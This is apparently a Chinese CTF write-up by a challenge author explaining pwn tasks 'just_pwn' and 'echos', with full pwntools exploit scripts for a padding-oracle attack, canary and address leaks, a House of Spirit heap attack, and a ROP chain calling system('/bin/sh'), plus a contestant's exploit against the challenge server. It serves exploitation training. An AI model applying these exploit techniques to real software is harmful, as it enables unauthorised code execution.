    testing = ''
    padding = 1
    while needtest != '':
        testing = needtest[-2:]
        needtest = needtest[:-2]
        number = 0
        for number in range(0, 256):
            number_hex = hex(number)[2:].upper().rjust(2,'0')
            if padding == 1 and number_hex == testing:    continue
            payload = head + needtest + number_hex + nListToXorstr(List_beforeXor, padding) + rear
            just_pwn.sendline(payload)
            if isLegal() == 2: break
        List_beforeXor = [number^padding] + List_beforeXor
        padding += 1
    return List_beforeXor

  #list2里的内容是invkey(Cipherpart0_)
  list2 = padding_oracle('iv=', iv, ';CipherLen=0032;CipherText=' + Cipherpart0 + ';', True)
  iv = setDecryption("guest_account:99", list2);

然后发送padding

  padding = 'iv=' + iv + ';CipherLen=0096;CipherText=' + Cipherpart0 + Cipherpart1 + Cipherpart2 + ';'
  just_pwn.sendline(padding)
第二关

思路是通过buybuybuy函数递归抬高栈顶,再通过getProfessional里的栈溢出获得canary, ebp和程序的基地址信息。对于获得canary,ebp大家都用的是我的思路,但是在获得程序基地址信息的时候又有了非预期。
buybuybuy函数一次消费的money是4444,用两次就不够了,我想着如果你第二次栈溢出是为了获得程序流的话,在没有基地址的情况下是不可能的。但是我忘了自己为了方便选手而设置了一个getflag()函数,因为这里开了随机化,函数最后一个半字节是不变的,而getflag函数与getProfessional离得相当近,所以只用再猜半个字节就够了。(getflag函数在ida的地址为.text:000000000000122C, 其中22c是不变的,有位选手设置的为522c,就有几率调到getflag函数)。
总结:还是让他们ROP然后自己计算system函数地址吧

以下是我的愚蠢的代码:

def getData():
    just_pwn.sendline("3");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","y");
    just_pwn.sendlineafter("buy my software:\n","aaaaaaaa");
    just_pwn.recvuntil("So your reason is:\n");
    recv = just_pwn.recvuntil("But");
    canary = u64(recv[9:16].rjust(8,'\x00'))
    ebp = u64(recv[16:22].ljust(8,'\x00'))
    print hex(canary)
    print hex(ebp)
    
    just_pwn.sendline("3");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","n");
    just_pwn.sendlineafter("y to confirm\n","y");
    just_pwn.sendlineafter("buy my software:\n",'a'*23);
    recv = just_pwn.recvuntil("So your reason is:\n");
    recv = just_pwn.recvuntil("But");
    addr = u64(recv[24:30].ljust(8,'\x00')) - 0xa3 + 0x50
    print hex(addr)
    return [canary, ebp, addr]

  datalist = getData();
  canary = datalist[0]
  ebp = datalist[1]
  addr_buybuybuy = datalist[2]

第三关

基本上除了有两组在第二个栈溢出获得控制流以外,基本上大家都是在push message里用堆漏洞获得程序控制流。我就讲一下如何在这道题里构建House of Spirit攻击。
在菜单里选择1.push message之后会让你先输入64位的lenlenwelcome函数中声明的变量),再跳转到leavemessage函数,而leavemessage中的buf是我们要伪造的chunk的开头。我们先看看进入leavemessage函数后的栈分布:

|Item|Value|
|:-----:|:-----:|
|buf    |大小0x20|
|.....  |........|
|canary |大小0x8|
|ebp    |大小0x8|
|返回地址|大小0x8|
|choice2|welecome的变量,始终为0,大小0x8,chunk对齐用|
|len|welecome的变量,值为输入值,大小0x8|

在leavemessage中会将你的输入的信息记录到一个结构体中:

struct MESSAGE{
    char title[32]; //message的标题
    char *content; //malloc分配的地址
};

malloc分配的content的大小即为len的值,readbuf后,再memcpycontent,这里的Enter the content of your message:不会引发溢出。
但是之后的Enter the title of your message:可以导致输入的title溢出到content指针。
所以情况很明显了,在输入content的时候构造一个伪chunk,这个伪chunk理论大小是从栈中的buflen之间的大小。len的值是在welcome中输入的0x20,满足下一个chunk大于2 * SIZE_SZ同时小于av->system_mem的要求(不懂的话可以参照这篇文章)。
所以构造伪chunk流程是这样的:在welcome中输入len为0x20(合适即可),然后buf中构造fast chunk:p64(0) + p64(0x51),然后在title中溢出至content指针,使之指向buf(此时的buf已经构造好了)。
接下来我们可以看到将构造的伪chunk加入fastbin中的机会,程序会问你Would you like to change? y to confirm.,选择y便会free掉content所指向的内存(这里是伪chunk),然后会再让你输入content。所以我们选择放弃pushing并且修改,程序会free(content)使buflen的区域加入到fastbin中,然后malloc相同大小的内存,便会将之前free掉的内存再分配给content。这次根据程序的可输入的大小最大可以到0x80了(if(length < 0 || length > 0x80))。我们便可以从buf覆盖canary,和返回地址(根据之前获得的buybuybuy的地址计算出getflag)的地址。然后就可以getshell了
具体代码如下:

addr_getflag = addr_buybuybuy +0x122C - 0x176F
def setHOSandGetShell(ebp, canary, addr):
    just_pwn.sendline("1");
    just_pwn.sendlineafter("long is your message?\n","32")
    just_pwn.sendlineafter("content of your message:\n",p64(0) + p64(0x51));
    just_pwn.sendlineafter("title of your message:\n",32*'a'+p64(ebp-0x60+0xc0));
    just_pwn.sendlineafter("pushing? y to confirm.\n","n");
    just_pwn.sendlineafter("like to change? y to confirm.\n","y");
    just_pwn.sendlineafter("long is your message?\n","64");
    just_pwn.sendlineafter("content of your message:\n",'a'*3*8+p64(canary)+'a'*3*8+p64(addr));
just_pwn.interactive()

我的糟糕的wp在src文件夹下
以下是ROIS队超级短的WP:
(注:他们本地的just_pwn是patch过的,然后控制程序流的方式是第二关所讲的栈溢出)

from pwn import *
context.log_level = 'debug'

p = process('./just_pwn')
q = remote('118.25.148.66','2333')

p.sendlineafter('3.Exit\n','1')
p.recvline()
k = p.recvline()

q.sendlineafter('3.Exit\n','1')
q.recvline()
l = q.recvline()

print k#得到9999的加密结果

p.close()

q.sendlineafter('3.Exit\n','2')
q.sendafter('Enter your secret code please:\n',k)

def leak(off):
    q.sendlineafter('4.hit on the head of the developer\n------------------------\n','3')
    q.sendlineafter('Confirm? y to confirm\n','y')
    q.sendafter('tell me why do want to buy my software:\n','a'*off)

    q.recvuntil('a'*off)
    leak = u64(q.recvuntil('But I think your reason is not good.\n',drop = True).ljust(8,'\x00'))
    return leak
    
q.sendlineafter('4.hit on the head of the developer\n------------------------\n','3')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','y')
q.sendlineafter('tell me why do want to buy my software:\n','a'*0x8)
q.recvuntil('a'*0x8)
leak = u64(q.recv(8))

canary = leak - 0xa
print hex(canary)

q.sendlineafter('4.hit on the head of the developer\n------------------------\n','3')
q.sendlineafter('Confirm? y to confirm\n','y')
q.sendafter('tell me why do want to buy my software:\n','a'*0xc8+p64(canary)+'a'*8+'\x2c\x52')

q.interactive()

echos [2 solved]

由sw友情赞助,题目本身非常简单

这道题目在部署的时候遇到了非常迷的问题,IO流不会及时刷新,导致本地可以打通,远程却无法打通的迷之Bug。

如果有dalao知道为什么会这样,希望能联系我一下。使用xinted+docker部署题目,GitHub上的项目。

贴上veritas501的exp吧:

#!/usr/bin/env python2
#coding=utf8
from pwn import *
#context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = True

if local:
    cn = process('./echos')
    bin = ELF('./echos',checksec=False)
    libc = ELF('./libc64.so',checksec=False)
else:
    # cn = remote('172.81.214.122', 6666)
    cn = remote('md.tan90.me',12000)
    bin = ELF('./echos',checksec=False)
    libc = ELF('./libc64.so',checksec=False)
    pass


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()

prdi=0x00000000004013c3
prsi_r15=0x00000000004013c1
gadget=0x00000000004013bd  # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
readn=0x00000000004011A6
pay = '8000\x00\x00\x00\x00' #r12
pay+=p64(0)*3
pay+=p64(gadget) + p64(0x0000000000403440) #rsp

cn.sendlineafter('size',pay)

size=0x3c0
sleep(0.2)
pay = p64(0x00000000004013B6)+p64(0x0000000000401190)
pay = pay.ljust(0x440-size,'a')
pay+=p64(0)*3
pay+=p64(prdi)+p64(bin.got['read'])+p64(bin.plt['puts'])
pay+=p64(prdi)+p64(bin.got['exit'])+p64(prsi_r15)+p64(0x10)*2+p64(readn)
pay+=p64(prdi)+p64(0x4034b8)+p64(bin.plt['exit'])+'/bin/sh\x00'
pay = pay.ljust(0x1000-size,'a')[:-1]
pay+='\n'
cn.send(pay)

cn.recvuntil(':')
cn.recvuntil(':\n')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['read']
success('lbase: '+hex(lbase))
system = libc.sym['system']+lbase
cn.sendline(p64(system))

cn.interactive()
tagged by none  

Comment Closed.

© 2014 ::L Team::